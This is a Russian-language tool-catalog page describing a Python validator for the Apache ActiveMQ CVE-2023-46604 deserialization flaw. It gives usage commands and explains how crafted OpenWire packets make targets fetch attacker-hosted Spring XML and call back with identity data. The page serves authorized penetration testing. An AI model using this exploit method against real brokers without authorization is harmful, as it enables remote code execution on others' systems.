Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ActiveMQ-CVE-2023-46604 — Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение. | Kitploit
Инструменты/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Репозиторий
311 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение.

Поделиться

CVE-2023-46604 ActiveMQ Safe Validator

Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызовы с уникальными токенами и записывает доказательства в CSV/JSON.

Проект предназначен для авторизованных пентестов и валидации парка систем. Он намеренно не реализует обратные оболочки, неограниченное выполнение команд, расширение CIDR, персистентность или подготовку полезной нагрузки.

Что доказывает валидатор

Доступны два фиксированных режима доказательства:

  • rce выполняет фиксированный, доступный только для чтения зонд идентификации и возвращает его вывод на встроенный HTTP-сервер. Обратный вызов подтверждает выполнение команд операционной системы в контексте службы ActiveMQ.
  • xml обслуживает пустой Spring-контекст. Получение подтверждает, что сформированное OpenWire-сообщение заставило цель инстанцировать ClassPathXmlApplicationContext и получить управляемый атакующим XML, без запуска процесса.

Создавать или размещать отдельно XML-файлы не требуется.

Возможности

  • Один Python-файл; только стандартная библиотека
  • Встроенный многопоточный HTTP-сервер
  • Динамические, специфичные для каждой цели XML и токены обратного вызова
  • Явный ввод для одной цели и нескольких целей
  • Ограниченный параллелизм и повторные попытки отправки
  • Поддержка обычного OpenWire и OpenWire поверх TLS
  • Фиксированные зонды идентификации для Linux и Windows
  • Доказательства в CSV по умолчанию, опционально JSON
  • Точные состояния результатов, исключающие ложные заявления «не уязвим»
  • Код выхода --fail-on-vuln, удобный для CI

Требования

  • Python 3.9 или новее
  • Сетевой доступ с тестового хоста к OpenWire-слушателю цели
  • Сетевой доступ от цели обратно к адресу HTTP-обратного вызова
  • Явная авторизация для каждой цели

Порт OpenWire по умолчанию — 61616, но поддерживаются и нестандартные порты.

Быстрый старт

В примерах используйте адреса только для документации; замените их на ваши авторизованные активы.

Одна цель на Linux

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

Скрипт автоматически запускает сервер обратного вызова на TCP/8000, обслуживает сгенерированный XML, отправляет OpenWire-пакет, ожидает доказательства, выводит таблицу результатов и записывает:

activemq-cve-2023-46604-results.csv

Несколько явных целей

python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Файл с целями

Создайте targets.txt:

# Один явно авторизованный хост в строке
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Запустите:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Файлы с целями могут содержать пустые строки и комментарии, начинающиеся с #. Расширение CIDR намеренно не поддерживается; перечисляйте авторизованный инвентарь явно.

Автоматическое определение адреса обратного вызова

Для простых маршрутизируемых сетей опустите --callback-host:

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

Инструмент выбирает локальный исходный адрес, используемый для маршрутизации к первой цели. Указывайте --callback-host при тестировании через NAT, VPN, контейнеры, промежуточные хосты или системы с несколькими сетевыми интерфейсами.

ActiveMQ на Windows

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Зонд Windows использует фиксированную, неинтерактивную команду PowerShell для возврата идентичности службы, имени компьютера и версии ОС. Он не предоставляет интерактивную оболочку.

Валидация только загрузки XML

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Этот режим не инстанцирует ProcessBuilder.

OpenWire поверх TLS

Используйте цель с ssl://:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Для внутреннего слушателя с ненадёжным сертификатом:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify влияет только на TLS-соединение OpenWire. Сервер обратного вызова — HTTP.

Состояния результатов

СтатусЗначение
CONFIRMED_VULNERABLE_RCEЦель получила свой XML, и фиксированная команда идентификации вернула доказательства.
CONFIRMED_VULNERABLE_XML_LOADВ режиме xml цель получила уникальный XML-документ.
VULNERABLE_XML_LOAD_ONLYВ режиме rce получение XML произошло, но обратный вызов команды — нет. Подтверждён уязвимый путь инстанцирования класса; инструменты обратного вызова, исходящий трафик или выполнение процессов могут быть ограничены.
NOT_CONFIRMEDПакет отправлен, но до истечения срока не поступило коррелированных HTTP-доказательств. Это не является доказательством того, что хост пропатчен.
UNREACHABLEСоединение TCP/TLS или отправка пакета не удались.

Пропатченный брокер, неверный порт, фильтрация исходящего трафика, проблемы маршрутизации, несоответствие TLS и средства контроля конечных точек — всё это может повлиять на валидацию на основе обратных вызовов. Сохраняйте временные метки CSV/JSON и вывод обратных вызовов как доказательства для отчёта.

Фиксированные доказательства идентичности

Зонд идентификации Linux возвращает вывод, похожий на:

CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Для HTTP POST он пробует curl, wget и BusyBox wget. Если XML получен, но ни один из этих клиентов недоступен, результатом будет VULNERABLE_XML_LOAD_ONLY, а не ложный отрицательный результат.

Коды выхода

  • 0: валидация завершена, или уязвимости найдены без --fail-on-vuln
  • 2: найден хотя бы один уязвимый результат и был указан --fail-on-vuln
  • ошибки argparse используют обычный ненулевой код ошибки командной строки

Пример использования в CI:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

Как это работает

CVE-2023-46604 затрагивает демаршализацию Java OpenWire. Валидатор отправляет слабо маршализованный OpenWire ExceptionResponse, класс исключения которого:

org.springframework.context.support.ClassPathXmlApplicationContext

Сообщение исключения — уникальный URL сгенерированного Spring XML. Уязвимый код ActiveMQ инстанцирует выбранный атакующим класс с этим URL. В режиме rce Spring-контекст запускает фиксированный зонд ProcessBuilder; в режиме xml контекст пуст.

Каждая цель получает разный токен, например:

http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Это позволяет сопоставлять одновременные обратные вызовы с правильной целью.

Справочник команд

Скачать инструмент